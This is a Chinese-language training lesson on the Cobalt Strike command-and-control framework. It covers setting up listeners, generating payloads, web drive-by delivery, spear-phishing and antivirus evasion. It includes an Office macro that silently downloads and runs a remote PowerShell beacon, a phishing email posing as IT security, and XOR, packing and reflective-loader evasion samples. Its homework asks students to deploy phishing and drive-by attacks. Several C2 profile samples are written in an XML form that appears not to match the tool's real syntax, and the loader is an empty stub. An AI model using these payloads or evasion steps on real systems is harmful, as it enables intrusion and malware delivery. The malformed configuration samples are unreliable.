CobaltStrike专题
3、创建监听器与Attacks
一、课程目标
本节课主要学习如何在CobaltStrike中创建和配置监听器,以及如何使用Attack功能生成各种攻击载荷。监听器和攻击载荷是CobaltStrike的核心功能,掌握这些技能对于渗透测试至关重要。通过本课的学习,你将能够:
- 理解监听器的工作原理和不同类型
- 掌握监听器的创建和配置方法
- 学会使用Attack功能生成各种攻击载荷
- 熟悉不同载荷类型的使用场景
- 了解载荷免杀和绕过技术
二、名词解释表
| 名词 | 解释 |
|---|---|
| 监听器 | C2服务器用于接收Beacon连接的组件 |
| C2服务器 | Command and Control服务器,用于控制被感染主机 |
| Beacon | CobaltStrike的植入载荷,用于与TeamServer通信 |
| Stager | 分阶段载荷的第一阶段,用于下载完整Beacon |
| Stageless | 一次性载荷,包含完整Beacon |
| Malleable C2 Profile | 可定制的C2通信配置文件 |
| 载荷 | 用于在目标系统上执行的恶意代码 |
| 免杀 | 使恶意软件绕过杀毒软件检测的技术 |
三、监听器原理
3.1 监听器概述
监听器是CobaltStrike中用于接收Beacon回连的服务器组件。当目标系统执行了Beacon载荷后,Beacon会主动连接到配置的监听器,从而建立C2通信通道。
3.2 监听器类型
3.2.1、HTTP/HTTPS监听器
- 协议:基于HTTP/HTTPS协议
- 端口:通常使用80/443端口
- 特点:流量看起来像正常的Web访问
- 适用场景:绕过防火墙和代理服务器
3.2.2、DNS监听器
- 协议:基于DNS协议
- 端口:使用53端口
- 特点:通过DNS查询传递数据
- 适用场景:高度限制的网络环境
3.2.3、SMB监听器
- 协议:基于SMB协议
- 端口:使用445端口
- 特点:通过命名管道通信
- 适用场景:内网横向移动
3.2.4、TCP监听器
- 协议:基于TCP协议
- 端口:可自定义端口
- 特点:直接TCP连接
- 适用场景:简单直接的通信需求
3.3 工作流程
- 配置监听器参数
- 启动监听器服务
- 生成对应的攻击载荷
- 载荷执行后连接监听器
- 建立C2通信通道
四、创建HTTP/HTTPS监听器
4.1 基本配置
4.1.1、通过界面创建
- 点击“Cobalt Strike”菜单
- 选择“Listeners”
- 点击“Add”按钮
- 选择“HTTP”或“HTTPS”类型
4.1.2、配置参数详解
- Name:监听器名称(自定义)
- Payload:对应载荷类型
- Host:监听器绑定的主机/IP
- Port:监听端口(HTTP通常80,HTTPS通常443)
- C2 Profile:C2通信配置文件
4.2 高级配置
4.2.1、HTTP监听器配置
<!-- HTTP C2 Profile示例 -->
<http-config>
<header name="User-Agent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"/>
<header name="Accept" value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"/>
<uri path="/news" extension=".php"/>
<uri path="/login" extension=".jsp"/>
</http-config>
4.2.2、HTTPS监听器配置
<!-- HTTPS C2 Profile示例 -->
<https-config>
<certificate>
<keystore>cobaltstrike.store</keystore>
<password>mypassword</password>
</certificate>
<header name="User-Agent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"/>
</https-config>
4.3 完整创建步骤
# 1. 启动TeamServer(如果尚未启动)
./teamserver 192.168.1.100 password123
# 2. 客户端连接到TeamServer
# 在客户端界面中连接到192.168.1.100:50050
# 3. 创建HTTP监听器
# 在客户端界面中:
# Cobalt Strike -> Listeners -> Add
# Type: HTTP
# Name: http_listener
# Host: 192.168.1.100
# Port: 80
# Save
五、创建DNS监听器
5.1 DNS监听器配置
5.1.1、基本参数
- Name:dns_listener
- Payload:windows/beacon_dns/reverse_dns_txt
- Host:你的域名(如:c2.example.com)
- Port:53
- C2 Profile:dns-profile
5.1.2、DNS配置文件示例
<!-- DNS C2 Profile -->
<dns-config>
<dns_idle>192.168.1.100</dns_idle>
<dns_sleep>50</dns_sleep>
<dns_stager_prepend>AA</dns_stager_prepend>
<dns_stager_subhost>.stage.123456.</dns_stager_subhost>
<maxdns>251</maxdns>
</dns-config>
5.2 域名配置
5.2.1、DNS记录设置
# A记录
c2.example.com A 192.168.1.100
# NS记录
stage.123456.example.com NS c2.example.com
5.3 创建步骤
# 1. 配置域名DNS记录
# 在域名服务商处添加相应的DNS记录
# 2. 在CobaltStrike中创建DNS监听器
# Cobalt Strike -> Listeners -> Add
# Type: DNS
# Name: dns_listener
# Host: c2.example.com
# Port: 53
# Save
六、Attack功能详解
6.1 Packages子菜单
6.1.1、HTML Application (HTA)
- 生成HTML应用程序文件
- 利用.mshta.exe执行载荷
- 适用于钓鱼邮件附件
<!-- HTA载荷示例 -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "notepad.exe", 0, True
</script>
</head>
<body>
<h1>Hello World</h1>
</body>
</html>
6.1.2、MS Office Macro
- 生成Office宏代码
- 利用Word/Excel等Office应用执行
- 适用于Office钓鱼攻击
' Office宏载荷示例
Sub AutoOpen()
Dim exec As String
exec = "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://192.168.1.100/beacon.ps1'))"""
Shell (exec)
End Sub
6.1.3、Payload Generator
- 通用载荷生成器
- 支持多种格式和配置
- 最灵活的载荷生成方式
6.1.4、USB/CD AutoPlay
- 生成自动播放载荷
- 利用autorun.inf自动执行
- 适用于物理介质攻击
6.1.5、Windows Executable
- 生成Windows可执行文件
- 支持stager和stageless模式
- 最常用的载荷类型
6.1.6、Windows Executable (Stageless)
- 生成一次性可执行文件
- 包含完整Beacon代码
- 不需要分阶段下载
6.2 Web Drive-by子菜单
6.2.1、Manage
- 管理Web服务
- 配置Web投递参数
- 启动/停止Web服务
6.2.2、Clone Site
- 克隆目标网站
- 保持原有外观和功能
- 增加攻击可信度
6.2.3、Scripted Web Delivery
- 脚本化Web投递
- 通过PowerShell/Wscript执行
- 支持多种脚本语言
6.2.4、Signed Applet Attack
- 签名小程序攻击
- 利用Java小程序执行载荷
- 需要有效数字签名
6.2.5、Smart Applet Attack
- 智能小程序攻击
- 自动检测Java环境
- 根据环境选择执行方式
6.2.6、System Profiler
- 系统信息探测
- 收集目标系统指纹
- 用于精准攻击
6.3 Spear Phish
6.3.1、钓鱼邮件配置
- 收件人列表导入
- 邮件模板编辑
- 载荷附件添加
- 发送时间调度
6.3.2、邮件模板示例
Subject: Important Document - Please Review
From: security@example.com
To: {target.email}
Dear {target.first_name},
Please review the attached document regarding recent security updates.
Best regards,
IT Security Team
七、载荷生成实战
7.1 生成HTTP Beacon
# 通过界面生成HTTP Beacon
# Attacks -> Packages -> Windows Executable
# Listener: http_listener
# Output: Windows EXE
# Save as: beacon_http.exe
7.2 生成Stageless Beacon
# 通过界面生成Stageless Beacon
# Attacks -> Packages -> Windows Executable (Stageless)
# Listener: http_listener
# Output: Windows EXE
# Save as: beacon_stageless.exe
7.3 生成PowerShell载荷
# 通过界面生成PowerShell载荷
# Attacks -> Packages -> Payload Generator
# Payload: windows/beacon_http/reverse_http
# Listener: http_listener
# Format: PowerShell
# Save as: beacon.ps1
7.4 生成Office宏载荷
# 通过界面生成Office宏载荷
# Attacks -> Packages -> MS Office Macro
# Listener: http_listener
# Save as: macro.txt
八、载荷免杀技术
8.1 编码混淆
8.1.1、XOR编码
// XOR编码示例
char key = 0xAA;
for (int i = 0; i < payload_size; i++) {
payload[i] ^= key;
}
8.1.2、Base64编码
# PowerShell Base64编码
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($payload))
8.2 加壳压缩
8.2.1、UPX加壳
# 使用UPX加壳
upx --best beacon.exe
8.2.2、自定义加壳
// 自定义简单加壳
unsigned char encrypted_payload[] = {0x90, 0x90, 0x90, ...};
int key = 0x12345678;
for (int i = 0; i < sizeof(encrypted_payload); i++) {
encrypted_payload[i] ^= (key >> (i % 32));
}
8.3 动态加载
8.3.1、Reflective Loader
// 反射式加载器
void reflective_loader(unsigned char* payload, int size) {
// 在内存中直接执行载荷
// 避免写入磁盘
// 绕过静态检测
}
九、配置文件定制
9.1 Malleable C2 Profile
9.1.1、HTTP Profile示例
<?xml version="1.0" encoding="UTF-8"?>
<profile>
<http-config>
<header name="User-Agent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"/>
<header name="Accept" value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"/>
<header name="Accept-Language" value="en-US,en;q=0.5"/>
<header name="Accept-Encoding" value="gzip, deflate"/>
</http-config>
<http-get>
<uri path="/news" extension=".php"/>
<client>
<header name="Accept" value="*/*"/>
<header name="Host" value="domain.com"/>
</client>
<server>
<header name="Content-Type" value="text/html; charset=utf-8"/>
<output>
<print charset="utf-8"/>
</output>
</server>
</http-get>
<http-post>
<uri path="/submit" extension=".php"/>
<client>
<header name="Content-Type" value="application/x-www-form-urlencoded"/>
</client>
<server>
<header name="Content-Type" value="text/html; charset=utf-8"/>
<output>
<print charset="utf-8"/>
</output>
</server>
</http-post>
</profile>
9.2 DNS Profile示例
<?xml version="1.0" encoding="UTF-8"?>
<profile>
<dns-config>
<dns_idle>192.168.1.100</dns_idle>
<dns_sleep>50</dns_sleep>
<dns_stager_prepend>AA</dns_stager_prepend>
<dns_stager_subhost>.stage.123456.</dns_stager_subhost>
<maxdns>251</maxdns>
</dns-config>
<dns-txt-send>
<uri-append host=".data.123456."/>
</dns-txt-send>
<dns-txt-recv>
<uri-append host=".cmd.123456."/>
</dns-txt-recv>
</profile>
十、故障排除
10.1 监听器问题
10.1.1、端口占用
# 检查端口使用情况
netstat -tlnp | grep :80
# 杀死占用进程
kill -9 <PID>
10.1.2、防火墙阻拦
# Ubuntu/Debian
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
# CentOS/RHEL
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --reload
10.1.3、SSL证书问题
# 生成自签名证书
keytool -genkey -alias cobaltstrike -keyalg RSA -keystore cobaltstrike.store -keysize 2048
10.2 载荷问题
10.2.1、载荷不执行
# 检查杀毒软件日志
# 使用不同的免杀技术
# 更换载荷类型
10.2.2、连接失败
# 检查网络连通性
ping <TeamServer_IP>
# 检查端口可达性
telnet <TeamServer_IP> 80
# 检查防火墙规则
十一、安全建议
11.1 监听器安全
11.1.1、访问控制
- 限制监听器访问范围
- 使用强密码保护
- 定期更换连接凭证
11.1.2、加密通信
- 启用SSL/TLS加密
- 使用有效的数字证书
- 配置强加密算法
11.1.3、日志审计
- 启用详细日志记录
- 定期审查日志文件
- 配置日志轮转
11.2 载荷安全
11.2.1、合法使用
- 仅在授权测试中使用
- 遵守相关法律法规
- 保护测试数据安全
11.2.2、环境隔离
- 在隔离环境中测试
- 避免影响生产系统
- 及时清理测试痕迹
十二、课后作业
-
基础练习:
- 创建不同类型的监听器
- 生成各种格式的攻击载荷
- 测试载荷在不同环境下的执行效果
- 配置Malleable C2 Profile文件
-
进阶练习:
- 实现载荷免杀技术
- 定制C2通信配置文件
- 部署Web Drive-by攻击
- 配置钓鱼邮件攻击
-
思考题:
- 不同类型监听器的优缺点是什么?
- 如何提高载荷的免杀效果?
- C2通信如何绕过网络检测?
-
扩展阅读:
- 研究Malleable C2 Profiles高级配置
- 了解Aggressor Script载荷生成
- 学习载荷动态加载技术